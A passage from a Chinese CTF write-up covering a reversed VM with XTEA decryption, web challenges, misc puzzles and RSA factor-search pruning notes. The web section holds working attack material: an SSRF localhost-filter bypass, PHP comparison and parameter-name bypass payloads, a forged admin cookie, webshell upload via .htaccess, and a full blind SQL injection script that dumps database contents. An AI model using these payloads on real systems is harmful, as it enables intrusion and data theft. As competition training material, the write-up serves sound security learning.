0xf0,0xe1,0x07,0x00 ,
0xf0,0xe1,0x00,0x04,
0xf0,0xe0,0x06,0x03,
0xf8,0x06,0x00,
0xf9,0xe0,0x00,0x01,

0xf1,0x00,0x04,
0xf7,0x07,0x00,
0xf0,0xe0,0x06,0x00,
0xf9,0xe0,0x00,0x00,
0xf1,0x00,0x07,
0xf0,0xe0,0x06,0x00,
0xf9,0xe1,0x00,0x00,
0xf0,0xe0,0x06,0x00,
0xf9,0xe0,0x02,0x02,
0xf2,0x04,0x02,
0xf0,0xe0,0x06,0x00,
0xf9,0xe0,0x00,0x00,
0xf0,0xe0,0x06,0x05,
0xf5,0x00,0x06,
0xf0,0xe1,0x01,0x00,
0xf0,0xe0,0x06,0x00,
0xf9,0xe0,0x00,0x00,
0xf0,0xe0,0x06,0x06,
0xf6,0x00,0x06,
0xf7,0x01,0x00,
0xf0,0xe0,0x06,0x00,
0xf9,0xe0,0x00,0x00,
0xf1,0x00,0x01,
0xf0,0xe1,0x07,0x00,
0xf0,0xe1,0x00,0x04,
0xf0,0xe0,0x06,0x07,
0xf6,0x00,0x06,
0xf0,0xe0,0x06,0x03,
0xf8,0x06,0x00,
0xf9,0xe0,0x00,0x01,
0xf1,0x00,0x04,
0xf7,0x07,0x00,
0xf0,0xe0,0x06,0x01,
0xf9,0xe0,0x00,0x00,
0xf1,0x00,0x07,
0xf0,0xe0,0x06,0x01,
0xf9,0xe1,0x00,0x00,
0xf0,0xe0,0x06,0x01,
0xf1,0x03,0x06,
0xfa,0x03,0x05,
0xf4,0xd4,
0xfb};

F0 中 不难看出有两种操作,一个是E0 一个是E1
先去分析这个vm的相关储存结构是怎么构成的
根据不同函数的共同参数a1,并且都在最后加了一定的数值,结合opcode,判断出a1就是栈指针eip
image.png
image.png
结合第一条机器码语句
0xf0,0xe0,0x05,0x4D,
这里选择了 f0 e0 然后一个小数5 一个大数0X4D,大胆猜测这个就是MOV指令,把0x4D的值存到了5寄存器中
谨慎验证 动调
image.png
v1[0]现在指向了F0 那么顺延下去,v1[1]就是E0 进行了类型的选择,v[2]v[3]进行了数据的储存,验证成功,去看别的函数
image.png
这个v2赋值的数据,我们步步跟进,可以分析出是存储寄存器的地址
image.png
image.png
这里存了0
我们直观去看opcode 不太容易分析出 我们的加密的数据到底在哪,这就涉及另一个函数了
在这个函数中涉及了新的数据(我重命名为data_address)我们跟进去看
image.png
竟然存着我们输入的数据sugar和flag[0](flag0是我们在外层函数中,发现了类似tea加密的数据循环存储形式,推断出他是进去加密的flag[0],flag[1]结构)
image.png
image.png
image.png
第三个unknown跟进,发现是114514,感觉是delta,
这个三个部分分别占据了data_address的1 2 3位,找一句执行0XF9的语句进行大胆分析
0xf9,0xe0,0x00,0x00,
选择e0方式,两个0,第一个0代表了寄存器型号的选择,第二个0代表了data_address中 三个地址的选择,这里明显就是选择了flag,然后将值存入了0寄存器中,
后面的eip[6]是干啥的,明显是以flag第一位为索引,去看具体取数组中的第几位,跟进上一个语句
0xf0,0xe0,0x06,0x01, mov了一个1进6寄存器,这里就是说取了flag+1指针所指向的值 即flag[1]
image.png
一些加减乘除位移异或的函数分析就不做具体分析了,jmp和cmp的汇编有经验的师傅们应该也很容易识别出
最后的函数命名如下
image.png
我们就可以依据这个写出汇编,思路其实就是一个XTEA的加密(看出XTEA因为其中有一句对于key取位的操作)
delta和密文密钥我们都有了,注意这里的循环次数进行了魔改是4D,原opcode的注释呈上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
unsigned char vm_code[] = { 
0xf0,0xe0,0x05,0x4D, //存rounds进r6 r6代表rounds 基本不会变的
0xf0,0xe0,0x04,0x00, //存sum进r5 r5代表sum
0xf0,0xe0,0x03,0x00, //存i进r4 (这三个固定的值)

0xf3,0xcc, //jump到for循环
0xf0,0xe0,0x06,0x01, //temp临时存了0x01
0xf9,0xe0,0x00,0x00, //取了flag中的第一个数(目前的v1)
0xf0,0xe0,0x06,0x05, //temp临时存值0x05
0xf5,0x00,0x06, //shl操作
0xf0,0xe1,0x01,0x00, //位操作完成的值给到r2中
0xf0,0xe0,0x06,0x01,
0xf9,0xe0,0x00,0x00,
0xf0,0xe0,0x06,0x06,
0xf6,0x00,0x06, //shr操作
0xf7,0x01,0x00, //异或之后的值存在了寄存器r2中
0xf0,0xe0,0x06,0x01,
0xf9,0xe0,0x00,0x00, //又把v1存在了r1中
0xf1,0x00,0x01, //把r1和r2相加 实现了 (((v1 >> 5) ^ (v1 >> 6)) + v1) 这段数据在r1中
0xf0,0xe1,0x07,0x00 , //先放在临时储存的地方
//现在的问题,怎么把算好的这部分数据存到一个地方。
0xf0,0xe1,0x00,0x04, //把sum的值移动到r1中
0xf0,0xe0,0x06,0x03, //存到temp中3
0xf8,0x06,0x00, //进行与运算,存到r1中 这个就是我们现在的索引值

0xf9,0xe0,0x00,0x01, //使用lea 这里将key[sum&3]存到r1中
0xf1,0x00,0x04, //再次把sum加上r1 实现了(key[sum & 3] + sum)
//开始异或最后一步
0xf7,0x07,0x00, //把两者异或的结果存储在store寄存器中 实现了语句 (((v1 >> 5) ^ (16 * v1)) + v1) ^ (key[sum & 3] + sum);
//把上面store的值加上v0 下次循环还要用
0xf0,0xe0,0x06,0x00, //temp存0
0xf9,0xe0,0x00,0x00, //索引flag[0]放进r1
0xf1,0x00,0x07,//全新的flag[0]存在了r1中,再使用lea把数值存到flag[0]里

0xf0,0xe0,0x06,0x00,
0xf9,0xe1,0x00,0x00, //这里成功把全新的v0存到了flag[0]的位置,以便于下一步的引用

// sum -= 1640531527; 实现这一步

//存一下delta试试 delta只会在里面用到一次
0xf0,0xe0,0x06,0x00, //temp寄存器先保存一下取第几位的值
0xf9,0xe0,0x02,0x02, //现在寄存器r3存储了delta的值
0xf2,0x04,0x02, //实现了sum-=delta

//最后一步 v1 += (((v0 >> 5) ^ (16 * v0)) + v0) ^ (key[(sum >> 11) & 3] + sum);

0xf0,0xe0,0x06,0x00, //temp临时存了0x00
0xf9,0xe0,0x00,0x00, //取了flag中的第一个数(目前的v0)
0xf0,0xe0,0x06,0x05, //temp临时存值0x05
0xf5,0x00,0x06, //shl操作
0xf0,0xe1,0x01,0x00, //位操作完成的值给到r2中
0xf0,0xe0,0x06,0x00,
0xf9,0xe0,0x00,0x00,
0xf0,0xe0,0x06,0x06,
0xf6,0x00,0x06, //shr操作
0xf7,0x01,0x00, //异或之后的值存在了寄存器r2中
0xf0,0xe0,0x06,0x00,
0xf9,0xe0,0x00,0x00, //又把v0存在了r1中
0xf1,0x00,0x01, //把r1和r2相加 实现了 (((v0 >> 5) ^ (v0 >> 6)) + v0) 这段数据在r1中
0xf0,0xe1,0x07,0x00, //先放在临时储存的地方

0xf0,0xe1,0x00,0x04, //把sum的值移动到r1中 进行右移7的操作
0xf0,0xe0,0x06,0x07,
0xf6,0x00,0x06, //进行了sum>>7的操作,存在了r1中
0xf0,0xe0,0x06,0x03, //存到temp中3
0xf8,0x06,0x00, //进行与运算,存到r1中 这个就是我们现在的索引值

0xf9,0xe0,0x00,0x01, //使用lea 这里将key[(sum>>7)&3]存到r1中
0xf1,0x00,0x04, //再次把sum加上r1 实现了(key[sum & 3] + sum)
//开始异或最后一步
0xf7,0x07,0x00, //把两者异或的结果存储在store寄存器中 实现了语句 (((v1 >> 5) ^ (16 * v1)) + v1) ^ (key[sum & 3] + sum);
//把上面store的值加上v0 下次循环还要用
0xf0,0xe0,0x06,0x01, //temp存1
0xf9,0xe0,0x00,0x00, //索引flag[1]放进r1
0xf1,0x00,0x07,//全新的flag[1]存在了r1中,再使用lea把数值存到flag[1]里

0xf0,0xe0,0x06,0x01,
0xf9,0xe1,0x00,0x00,

0xf0,0xe0,0x06,0x01,
0xf1,0x03,0x06, //i++操作
0xfa,0x03,0x05, //cmp比较rounds和i for循环
0xf4,0xd4,
0xfb};

写出XTEA解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdint.h>

void decipher(unsigned int num_rounds, uint32_t* v, uint32_t const* key) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x114514, sum = delta * (-77);
for (i = 0; i < num_rounds; i++) {
v1 -= (((v0 << 5) ^ (v0 >> 6)) + v0) ^ (sum + key[(sum >> 7) & 3]);
sum += delta;
v0 -= (((v1 << 5) ^ (v1 >> 6)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0; v[1] = v1;
}

int main()
{

unsigned char* key = "put_some_sugar!!";
uint32_t const* k = key;
uint32_t v[] = { 0xd5bf7cb6, 0x1cc08fa5, 0x80d48de8, 0x6c3f5f0, 0x7e484457, 0xbfaeb3a6, 0xb44a2a23, 0x3ebb5b15, };
unsigned int r = 0x4D;
for (int i = 0; i < 8; i += 2)
{
decipher(r, v + i, k);
}
printf("解密后的数据:\n");
for (int i = 0; i < 8; i++)
{

printf("0x%x, ", v[i]);
}
printf("\n");
printf(" %s", v);
return 0;


}

image.png
得到最终的flag
DRKCTF{Y0ur_t3a_te4sT_NoT_b4d!!}

Web

穿梭隐藏的密钥

源码发现路由
访问路由/c3s4f.php
参数爆破,得到参数shell
需要本地才能实现文件读取
开始ssrf伪造
但是过滤了gopher,127,@,0等,以下是正则

1
'/ftp|ftps|gopher|telnet|dict|file|ldap|@|127|0|[|localhost|https/i'

这里可以用302跳转或者域名解析IP绕过

1
2
sudo.cc指向IP地址127.0.0.1。A记录就是域名指向ip地址,然后可以通过A记录转向访问
类似的还有safe.taobao.com,114.taobao.com,test.xiaodi8.com等

故构造如下:

1
?shell=http://sudo.cc/

发现回到了首页,跨越成功
但是要求是秘密只给127.0.0.1
猜测为secret.php(或者扫目录)

1
?shell=http://sudo.cc/secret.php

拿到key ,这里的key值是DrKn的参数和cha11eng3.php路由
challenge1:
需要绕过file_get_contents()函数
用data://伪协议绕过
所以第一部分payload:

1
/cha11eng3.php?DrKn=data://text/plain,MSIBLG

challenge2:
关键代码如下

1
hash("md4", $damei) == $damei

传入的值被md4加密后跟原来的相等
利用php的松散性绕过,也就是0e

1
2
3
4
初始值:  0e001233333333333334557778889
md4 hash : 0e434041524824285414215559233446
初始值: 0e00000111222333333666788888889
md4 hash : 0e434041524824285414215559233446

php非法传参
在给参数传值时,如果参数名中存在非法字符,比如空格和点,则参数名中的点和空格等非法字符都会被替换成下划线。
并且,在PHP8之前,如果参数中出现中括号[,那么中括号会被转换成下划线_,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。
第二部分payload:

1
/cha11eng3.php?DrKn=data://text/plain,MSIBLG&M[ore.8=0e001233333333333334557778889

challenge3:
md5针对强类型逻辑比较绕过,同弱类型逻辑比较中利用php特性MD5处理数组默认返回Null进行绕过手法
(Null类型强(弱)等于Null类型)
第三部分payload:

1
2
3
4
5
6
get传参:
/cha11eng3.php?DrKn=data://text/plain,MSIBLG&M[ore.8=0e001233333333333334557778889
post传参:
wtf[]=11&mC[]=1
或者
直接post传参

EzLogin

ctrl+U查看前端源码,发现有个/register.html,先进入/register.html
随便注册一个帐号进去,登录发现我不是admin,查看cookie:
TOKEN=65794a3163325679626d46745a534936496d46685953497349434a306232746c62694936496a5133596d4e6c4e574d334e4759314f446c6d4e4467324e3252695a4455335a546c6a59546c6d4f44413449697767496d6c7a5832466b62576c75496a6f7766513d3d
扔到cyberchef直接出明文:
image.png
修改is_admin为1,base64和hex加密后得到的
65794a3163325679626d46745a534936496d46685953497349434a306232746c62694936496a5133596d4e6c4e574d334e4759314f446c6d4e4467324e3252695a4455335a546c6a59546c6d4f44413449697767496d6c7a5832466b62576c75496a6f7866513d3d
打入token,刷新页面。image.png
很明显的sql注入,注入点是用户名,不断修改账户名来尝试,在TOKEN里有一个小token,这里是md5加密后的username,所以写个脚本,这是加密函数:

1
2
3
4
5
6
7
8
def encode(payload):
payload0 = payload
md5pwd = hashlib.md5(payload0.encode()).hexdigest() #把payload md5加密
json_payload = f'{{"username":"{payload0}", "token":"{md5pwd}", "is_admin":1}}'

encoded_payload = base64.b64encode(json_payload.encode()) #base64加密
hexadecimal_payload = encoded_payload.hex() #十六进制编码
return hexadecimal_payload

根据注入正确和失败的两个回显,尝试布尔盲注。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
import base64
import hashlib
import requests

def encode(payload):
payload0 = payload
md5pwd = hashlib.md5(payload0.encode()).hexdigest() #把payload md5加密
json_payload = f'{{"username":"{payload0}", "token":"{md5pwd}", "is_admin":1}}'

encoded_payload = base64.b64encode(json_payload.encode()) #base64加密
hexadecimal_payload = encoded_payload.hex() #十六进制编码
return hexadecimal_payload

def ascii_str(): # 生成库名表名字符所在的字符列表字典
str_list = []
for i in range(33, 127): # 所有可显示字符
str_list.append(chr(i))
#print('可显示字符:%s'%str_list)
return str_list # 返回字符列表


def db_length(url, str):
print("[-]开始测试数据库名长度.......")
num = 1
while True:
payload = f"admin'/**/and/**/length(database())/**/like/**/{num}#"
db_payload = encode(payload)
cookies = {"TOKEN":db_payload}
r = requests.get(url=url,cookies=cookies)
if str in r.text:
db_length = num
print("[+]数据库长度:%d\n" % db_length)
db_name(db_length) # 进行下一步,测试库名
break
else:
num += 1


def db_name(db_length):
print("[-]开始测试数据库名.......")
db_name = ''
str_list = ascii_str()
for i in range(1, db_length + 1):
for j in str_list:
payload = f"admin'/**/and/**/(ascii(substr(database(),{i},1))/**/like/**/{ord(j)})#"
db_payload = encode(payload)
cookies = {"TOKEN": db_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
db_name += j
break
print("[+]数据库名:%s\n" % db_name)
tb_piece(db_name) # 进行下一步,测试security数据库有几张表
return db_name


def tb_piece(db_name):
global tb_piece
print("开始测试%s数据库有几张表........" % db_name)
for i in range(10): # 猜解库中有多少张表,合理范围即可
payload = f"admin'/**/and/**/{i}/**/like/**/(Select/**/Count(Table_name)/**/From/**/Information_schema.tables/**/Where/**/table_schema/**/like/**/'{db_name}')#"
tb_payload = encode(payload)
cookies = {"TOKEN": tb_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
tb_piece = i
break
print(f"[+]{db_name}库一共有{tb_piece}张表\n")
tb_name(db_name, tb_piece) # 进行下一步,猜解表名


def tb_name(db_name, tb_piece):
print("[-]开始猜解表名.......")
table_list = []
for i in range(tb_piece):
str_list = ascii_str()
tb_length = 0
tb_name = ''
for j in range(1, 20): # 表名长度,合理范围即可
payload = f"admin'/**/and/**/(Select/**/length(table_name)/**/from/**/Information_schema.tables/**/Where/**/table_schema/**/like/**/database()/**/limit/**/{i},1)/**/like/**/{j}#"
tb_payload = encode(payload)
cookies = {"TOKEN": tb_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
tb_length = j
print("第%d张表名长度:%s" % (i + 1, tb_length))
for k in range(1, tb_length + 1): # 根据表名长度进行截取对比
for l in str_list:
payload = f"admin'/**/and/**/(Select/**/ascii(substr((Select/**/table_name/**/from/**/Information_schema.tables/**/Where/**/table_schema/**/like/**/database()/**/limit/**/{i},1),{k},1)))/**/like/**/{ord(l)}#"
tb_payload = encode(payload)
cookies = {"TOKEN": tb_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
tb_name += l
print("[+]:%s" % tb_name)
table_list.append(tb_name)
break
print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
column_num(table_list, db_name) # 进行下一步,猜解每张表的字段数


def column_num(table_list, db_name):
print("[-]开始猜解每张表的字段数:.......")
column_num_list = []
for i in table_list:
for j in range(60): # 每张表的字段数量,合理范围即可
payload =f"admin'/**/and/**/{j}/**/like/**/(Select/**/count(column_name)/**/from/**/Information_schema.columns/**/Where/**/table_name/**/like/**/'{i}')#"
column_payload = encode(payload)
cookies = {"TOKEN": column_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
column_num = j
column_num_list.append(column_num) # 把所有表的字段,依次放入这个列表当中
print("[+]%s表\t%s个字段" % (i, column_num))
break
print("\n[+]表对应的字段数:%s\n" % column_num_list)
column_name(table_list, column_num_list, db_name) # 进行下一步,猜解每张表的字段名


def column_name(table_list, column_num_list, db_name):
print("[-]开始猜解每张表的字段名.......")
column_length = []
str_list = ascii_str()
column_name_list = []
for t in range(len(table_list)): # t在这里代表每张表的列表索引位置
print("\n[+]%s表的字段:" % table_list[t])
for i in range(column_num_list[t]): # i表示每张表的字段数量
column_name = ''
for j in range(1, 21): # j表示每个字段的长度
payload = f"admin'/**/and/**/{j-1}/**/like/**/(Select/**/length(column_name)/**/from/**/Information_schema.columns/**/Where/**/table_name/**/like/**/'{table_list[t]}'/**/limit/**/{i},1)#"
column_name_length = encode(payload)
cookies = {"TOKEN": column_name_length}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
column_length.append(j)
break
for k in str_list: # k表示我们猜解的字符字典
payload = f"admin'/**/and/**/ascii(substr((Select/**/column_name/**/from/**/Information_schema.columns/**/Where/**/table_name/**/like/**/'{table_list[t]}'/**/limit/**/{i},1),{j},1))/**/like/**/{ord(k)}#"
column_payload = encode(payload)
cookies = {"TOKEN": column_payload}
r = requests.get(url=url, cookies=cookies)
if str in r.text:
column_name += k
print('[+]:%s' % column_name)
column_name_list.append(column_name)
# print(column_name_list)#输出所有表中的字段名到一个列表中
dump_data(table_list, column_name_list,) # 进行最后一步,输出指定字段的数据


def dump_data(table_list,column_name_list,url,str):
print("[-]开始爆破字段内容:")
for l in range(1, 50): # l表示每条数据的长度,合理范围即可
for k in range(32,127):
payload = f"admin'/**/and/**/Ascii(Substr((Select/**/{column_name_list[0]}/**/from/**/{table_list[0]}/**/limit/**/0,1),{l},1))/**/like/**/{k}#"
data_len_payload = encode(payload)
cookies = {"TOKEN": data_len_payload}
r = requests.get(url=url, cookies=cookies)
if (str in r.text):
character = chr(k)
print(character,end="")
break



if __name__ == '__main__':
url = "http://127.0.0.1/home.php" # 目标url
str = "@q^4*!z8a9-%42z.s~"
#db_length(url,str)
# #下面是手动输入字段内容,不太优雅=-=
table_list = ['secret']
column_name_list = ['sseeccrreett']
dump_data(table_list,column_name_list,url,str)

Ezsignin

瞎bb:超级简单的签到,看到 wp 人快碎了,一半非预期(
先扫目录或者试试敏感文件泄露,找到 index.php.bak,源码就不放这了
看到这里
image.png
需要本地,但是上面是存在一个变量覆盖函数的,所以可以直接覆盖这个变量
image.png
传入?_SERVER[REMOTE_ADDR]=127.0.0.1即可进入文件上传的界面,这边因为我的 upload.php没有做相同的处理,导致可以直接利用表单给 upload.php上传文件,没办法,人太懒了(((
后面就是上传一个 webshell,会发现不解析 php 文件,是因为我在 upload 下放了个.htaccess,我认为这很安全,这样你们上传的 php 就不会被解析了[doge]
image.png
由于我没有对文件上传做任何限制,所以你可以上传一个.htaccess文件来打开 php 的解析引擎,这样你的 webshell 就可以正常解析了。
非预期做法:
image.png
真是漏网之鱼啊,这里的 username可控,一点过滤没写,导致可以目录穿越写到 html 下面,就不受upload下的.htaccess的限制了,果然懒狗开发确实该死(bushi

MISC

签到

将浅色背景切换为深色二维码就显现了,扫码就行了
image.png

神秘的文字

直接搜这段,是可以找到相关文章,但是复现发现是不行的
image.png
image.png
深入搜索可以找到Martin Kleppe项目,aem1k.com/transliterate.js,发现其实就是jsfuck的变种,理解了原理,找到缺少内容alert(‘’);拼成完整的密文就可以弹窗得到密钥了
image.png

DNA-5

image.png

1
2
3
4
5
6
7
8
9
10
ata = 
"ACCTAATACCATCAACTCCATAACTCCCCACCTAAATCCAATAACCACTAAATCCAATAACCACTACC
CCTCCATAAAAATAACCACTCATCCCCCTAATAAAATAAACCTCCCCCAC"
replacement_dict = {
'T': '/',
'A': '.',
'C': '-'
}
result = ''.join([replacement_dict.get(char, char) for char in data])
print(result)

image.png
image.png

AgedSLATE

image.png
相信那你在查看文档时也找到了名字好像很可疑,这就是第一段flag,对应的hint是:注意隐私保护,很多出题人出题时是没在意名字问题的等于自己把自己开了,本意是借此提醒
image.png
接着分析doc会发现大量的01,很明显可以猜测为文档隐藏了内容全选后换个字体颜色就行了,,这段01猜测为01 to img,写个脚本就可以了(帮你们试过了大部分的工具出来的都是重叠,还是老老实实写脚本吧。如果你觉得文本量大不好处理,那为什么不试试word的替换功能呢)
image.png
image.png
转成的图片再识图,可以找到海嗣文字,需要反着读镜像后对照即可。“?”为“_“最开始图片上有明确展示
image.png
拼接两段得到flag
Steal_Data
这个题其实就是一个自制的免杀马(但是其实什么也过不了)
然后回到题目本身
image.png
打开流量包,很多杂七杂八的包,看一下协议分级
可以看到有HTTP,那就看http
image.png
已经看到shell了,那就直接追踪http流
参数有一个show_source,猜测返回的代码是shell的源码,复制出来去前端看
image.png
很简单的逻辑,然后再解开请求包

1
echo openssl_decrypt('q0c8bvkt+9/LeMRp7RaaDA==' , "AES-128-ECB", 'd0c3a4017c22f6c3');

再一个个地解开,看它的结果
执行的命令

1
2
3
whoami 
dir
cd 51建模 && type Route.py

可以看到核心是后面的py
然后搜一下51建模B题
image.png
可以发现是一个求最短路径的题目,于是猜测给出的数组是路径图
用networkx库求最短路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,
(97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,
(119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,
(115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,
(30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,
(71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,
(75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,
(9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,
(88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,
(59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,
(101 ,82) ,(0 ,82) ,(82 ,125)
]
G = nx.Graph()
G.add_edges_from(lujin)
lst = list(nx.all_simple_paths(G ,source=102 ,target=125 ,cutoff=35))
min_len = min([len(i) for i in lst])
[[print(chr(x) ,end="") for x in i] for i in lst if len(i) == min_len]

flag{wish_DrAGonKNI9HtCXF-BET2eR}

func_Pixels
这个题目其实有一点点脑洞,给各位师傅道个歉,
描述中的(0,0)提出来转为ascii就是DRK,
但是后面那个hint给的其实很明显,应该都能想到就是green通道的位置是计数器的二次方,那么blue通道就是计数器的三次方,red通道就是计数器的一次方,看一下加密代码更清楚

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def func_encode(img ,flag):
width, height = img.size
pixels = {}
for y in range(height):
for x in range(width):
pixels[(x ,y)] = img.getpixel((x ,y))
print(pixels[(0,0)])
for pos in range(0 ,int(len(flag)/3)):
r_pos = int(math.pow(pos ,1))
g_pos = int(math.pow(pos ,2))
b_pos = int(math.pow(pos ,3))

pixels[(pos ,r_pos)] = (ord(flag[pos*3]) ,pixels[(pos ,r_pos)][1] ,pixels[(pos ,r_pos)][2])
pixels[(pos ,g_pos)] = (pixels[(pos ,r_pos)][0] ,ord(flag[pos*3+1]) ,pixels[(pos ,r_pos)][2])
pixels[(pos ,b_pos)] = (pixels[(pos ,r_pos)][0] ,pixels[(pos ,r_pos)][1] ,ord(flag[pos*3+2]))

for key ,value in pixels.items():
img.putpixel(key ,value)
img.save("./LEIMU_encoded.png")

根据加密函数写一下就完事

1
2
3
4
5
6
7
8
9
10
11
12
def func_decode(img):
width ,height = img.size
for pos in range(0 ,10):
r_pos = int(math.pow(pos ,1))
g_pos = int(math.pow(pos ,2))
b_pos = int(math.pow(pos ,3))

r = img.getpixel((pos ,r_pos))[0]
g = img.getpixel((pos ,g_pos))[1]
b = img.getpixel((pos ,b_pos))[2]

print(f"{chr(r)}{chr(g)}{chr(b)}" ,end="")

有一点脑洞,给各位👴跪了

Osint

给大家道个歉吧,这题本来是不好做的,某些原因导致可以直接识图找到了
Ai 识别发现并不在国内,在美国
image.png
搜索美国标志性摩天轮一个个排查就可以找到了,因为角度比较刁钻看不到海岸线的特征会 有很多的误导项,找到最著名的几个可以佛罗里达州,直接搜佛罗里达州摩天轮就行了
image.png
image.png
朋友卡的非常好,但凡漏出红色缆车都会被秒
image.png

比赛时遇到了挺多剪枝相关的题,但是只会套板子,趁着有时间学习总结一下

定义

DFS之剪枝与优化指的是在执行深度优先搜索(DFS, Depth-First Search)时,采取的一系列策略来减少搜索空间,避免无效计算,从而加速找到问题的解。剪枝是指在搜索过程中,当遇到某些条件不符合解的要求或者可以预判后续搜索不会产生有效解时,直接放弃这条搜索路径,这一过程称为剪枝。优化则是指通过调整搜索策略、顺序等,提高搜索效率。

题目(收集ing……)

首尾剪枝

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import *
from secret import flag

m = bytes_to_long(flag)
p = getPrime(256)
q = getPrime(256)
n = p * q
e = 65537
_q = int(bin(q)[2:][::-1] , 2)
c = pow(m,e,n)

print(p ^ _q)
print(n)
print(c)

'''
47761879279815109356923025519387920397647575481870870315845640832106405230526
10310021142875344535823132048350287610122830618624222175188882916320750885684668357543070611134424902255744858233485983896082731376191044874283981089774677
999963120986258459742830847940927620860107164857685447047839375819380831715400110131705491405902374029088041611909274341590559275004502111124764419485191
'''

题目给出p 与 q 的反方向二进制的异或值,根据异或操作的特性,可知如果当前需搜索的最高位为”1”,则对应两种可能:p该位为1,q对应低位为0;p该位为0,q对应低位为1。对应的剪枝条件为

1.将p、q未搜索到的位全填0,乘积应小于n
2.将p、q未搜索到的位全填1,乘积应大于n
3.p、q 低 k 位乘积再取低 k 位,应与 n 的低 k 位相同

首先定义搜索函数

1
2
3
4
5
6
7
8
9
10
11
12
def find(ph,qh,pl,ql):
l = len(ph)
tmp0 = ph + (256-2*l)*"0" + pl
tmp1 = ph + (256-2*l)*"1" + pl
tmq0 = qh + (256-2*l)*"0" + ql
tmq1 = qh + (256-2*l)*"1" + ql
if(int(tmp0,2)*int(tmq0,2) > n):
return
if(int(tmp1,2)*int(tmq1,2) < n):
return
if(int(pl,2)*int(ql,2) % (2**(l-1)) != n % (2**(l-1))):
return

根据条件进行剪枝操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if(l == 128):
pp0 = int(tmp0,2)
if(n % pp0 == 0):
pf = pp0
qf = n//pp0
phi = (pf-1)*(qf-1)
d = inverse(e,phi)
m1 = pow(c,d,n)
print(long_to_bytes(m1))
exit()

else:
if(pxorq[l] == "1" and pxorq[255-l] == "1"):
find(ph+"1",qh+"0","1"+pl,"0"+ql)
find(ph+"0",qh+"0","1"+pl,"1"+ql)
find(ph+"1",qh+"1","0"+pl,"0"+ql)
find(ph+"0",qh+"1","0"+pl,"1"+ql)
elif(pxorq[l] == "1" and pxorq[255-l] == "0"):
find(ph+"1",qh+"0","0"+pl,"0"+ql)
find(ph+"0",qh+"0","0"+pl,"1"+ql)
find(ph+"1",qh+"1","1"+pl,"0"+ql)
find(ph+"0",qh+"1","1"+pl,"1"+ql)
elif(pxorq[l] == "0" and pxorq[255-l] == "1"):
find(ph+"0",qh+"0","1"+pl,"0"+ql)
find(ph+"0",qh+"1","0"+pl,"0"+ql)
find(ph+"1",qh+"0","1"+pl,"1"+ql)
find(ph+"1",qh+"1","0"+pl,"1"+ql)
elif(pxorq[l] == "0" and pxorq[255-l] == "0"):
find(ph+"0",qh+"0","0"+pl,"0"+ql)
find(ph+"1",qh+"0","0"+pl,"1"+ql)
find(ph+"0",qh+"1","1"+pl,"0"+ql)
find(ph+"1",qh+"1","1"+pl,"1"+ql)

2(名称待定)

1
2
3
4
5
6
7
8
9
10
11
12
13
